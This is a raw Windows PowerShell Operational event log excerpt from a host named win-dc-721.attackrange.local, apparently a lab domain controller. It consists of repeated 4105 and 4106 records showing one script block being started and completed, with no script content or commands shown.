Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467548
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467547
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467546
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467545
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467544
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467543
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467542
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467541
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467540
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467539
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467538
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467537
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467536
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467535
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467534
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467533
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467532
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467531
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467530
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467529
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467528
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467527
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467526
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467525
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467524
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467523
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467522
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467521
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467520
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467519
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467518
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467517
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467516
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467515
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467514
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467513
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467512
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467511
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467510
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467509
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467508
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467507
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467506
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467505
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467504
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467503
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467502
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467501
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467500
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467499
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467498
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467497
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467496
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467495
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467494
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467493
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
